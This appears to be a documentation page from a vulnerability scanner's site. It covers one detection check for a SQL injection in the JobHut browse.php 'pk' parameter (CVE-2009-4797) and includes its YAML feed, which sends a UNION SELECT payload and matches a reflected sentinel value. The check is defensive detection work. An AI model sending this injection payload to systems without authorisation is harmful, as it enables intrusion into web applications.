JobHut — 1 vulnerability check

noctis ships 1 vulnerability check for JobHut, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

JobHut <= 1.2 SQL Injection (browse.php pk parameter)

CVECVE-2009-4797
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/jobhut/CVE-2009-4797.yaml

Detects CVE-2009-4797 by sending a UNION SELECT payload to browse.php and confirming the reflected sentinel job count (1234567) in the results header of the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /browse.php?pk=-1%20union%20select%201234567,2-- HTTP/1.0
  2. Checks resp.banner for Results [0-9-]+ of 1234567 job\(s\) found → finding QoD 75: JobHut SQLi confirmed — UNION SELECT payload on browse.php pk reflected the sentinel job count 1234567 at …:…

References:

Feed source — tests/vulnerabilities/jobhut/CVE-2009-4797.yaml
# JobHut <= 1.2 — SQL Injection (CVE-2009-4797)
#
# JobHut fails to sanitize the `pk` parameter of browse.php before using it
# in an SQL query. An unauthenticated attacker injects a UNION SELECT that
# forces the job-count value to a known sentinel (1234567), which is
# reflected in the results header, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/JobHut_34300.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100102, GPL-2.0-only). Payload/marker preserved
# faithfully from the source plugin.
#
# The payload carries URL-encoded tokens that reqwest would normalise, so the
# request is sent verbatim over tcp_connect (HTTP/1.0) and the reflected
# sentinel count is matched on resp.banner.
#
# The NASL probes /jobs plus the http_cgi_dirs; this feed probes the web root
# (/browse.php) only, which covers the default install layout.
uid: 02031d05-0cdf-44a5-a546-5d72b8dbfdf9
name: "JobHut <= 1.2 SQL Injection (browse.php pk parameter)"
description: |
  Detects CVE-2009-4797 by sending a UNION SELECT payload to browse.php and confirming
  the reflected sentinel job count (1234567) in the results header of the HTTP response.
cves: [CVE-2009-4797]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [jobhut, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4797"
  - "OpenVAS/Greenbone NASL 2009/JobHut_34300.nasl (OID 1.3.6.1.4.1.25623.1.0.100102, GPL-2.0-only)"

steps:
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /browse.php?pk=-1%20union%20select%201234567,2-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "Results [0-9-]+ of 1234567 job\\(s\\) found"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "JobHut SQLi confirmed — UNION SELECT payload on browse.php pk reflected the sentinel job count 1234567 at {{target_host}}:{{port}}"

View these feeds on GitHub